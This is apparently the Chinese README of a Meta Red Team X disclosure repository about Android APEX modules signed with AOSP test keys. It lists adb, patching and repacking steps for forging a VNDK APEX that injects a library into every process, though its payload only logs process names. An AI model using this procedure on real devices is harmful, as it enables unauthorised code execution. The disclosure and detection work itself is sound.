本仓库按原样（AS IS）提供，用于配套 Meta Red Team X 漏洞披露。它不是 Meta 的官方项目，也不会 像官方项目一样获得支持。
一组脚本和制品，用于演示检测和利用搭载以 AOSP 测试密钥签名的 APEXes 的 Android 设备。有关该问题的完整信息， 请参阅我们的博客文章“缺失的签名：多个品牌如何忘记保护 Android 的 关键组件”。
apex-checker/：一组 Bash 脚本，用于保存已知测试密钥的摘要，
并批量检查 APEX 是否使用了这些密钥的签名。apex-forger/：围绕 AOSP 的 apexer 和 deapexer 工具的轻量级封装，
便于解包、修改和重新打包 APEX。如同 apktool 之于 APEX。vndk-libt/：我们添加到一个存在漏洞的 APEX 中的库的源代码，
用于证明我们可以实现代码执行。该库所做的只是将加载它的每个进程的
命令行打印到 logcat。m apexer deapexer apksigner 来构建所需工具。envsetup.sh（指本仓库中的这个，而不是 AOSP 中的那个），将 $AOSP
和 $ANDROID_HOST_OUT 指向合适的位置。adb shell getprop ro.build.version.sdk 和 adb shell getprop ro.vndk.version。adb pull /system/apex/com.android.vndk.current.apex vndk.apex。
如果不一致，执行 adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex，
其中 <NN> 为 ro.vndk.version。apex-checker/check.sh vndk.apex 检查该 APEX 是否存在漏洞。如果输出
不是以“OI”开头（表示外层和内层签名均来自测试密钥），则无法使用此 PoC
（尽管这并不能保证设备是安全的，因为其他 APEX 可能仍然存在漏洞）。apex-forger/unpack.sh vndk.apex vndk 解包该 APEX。libutils.so，使其加载我们注入的
libt.so：git apply --directory=vndk vndk-libt/libutils-v31.patch。如果
无效（例如 VNDK 版本不同），请使用十六进制编辑器手动将
vndk/payload/lib64/libutils.so 中相应 DT_NEEDED 里的 libc.so 改为
libt.so。vndk-libt/ 目录内运行 ndk-build 构建 libt.so。将
vndk-libt/libs/arm64-v8a/libt.so 复制到 vndk/payload/lib64/libt.so。apex_build_info.bp 中提取 canned_fs_config。目前没有工具能轻松
完成此操作：最接近的方法是运行 protoc --decode_raw <vndk/apex_build_info.bp，
然后手动取消字段 #3 的转义。将 canned_fs_config 放在 vndk/
目录下。canned_fs_config 中为 /lib64/libt.so 添加一行。apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem} 重新打包 APEX。adb install vndk/forged.apex。adb reboot && adb logcat -s RTXPoC:D。RTXPoC 日志消息，每条消息都来自一个我们可以在其中执行
代码的进程。apex-checker/apk-keys.txt 和 apex-checker/avb-keys.txt 中的哈希对应以下
APEX 的外层和内层测试密钥。请注意，这两个列表还有 -goog 变体，它们是在
我们初次报告之后由 Google 创建的。这些列表通常更完整，但我们并不确切知道
其中包含哪些密钥。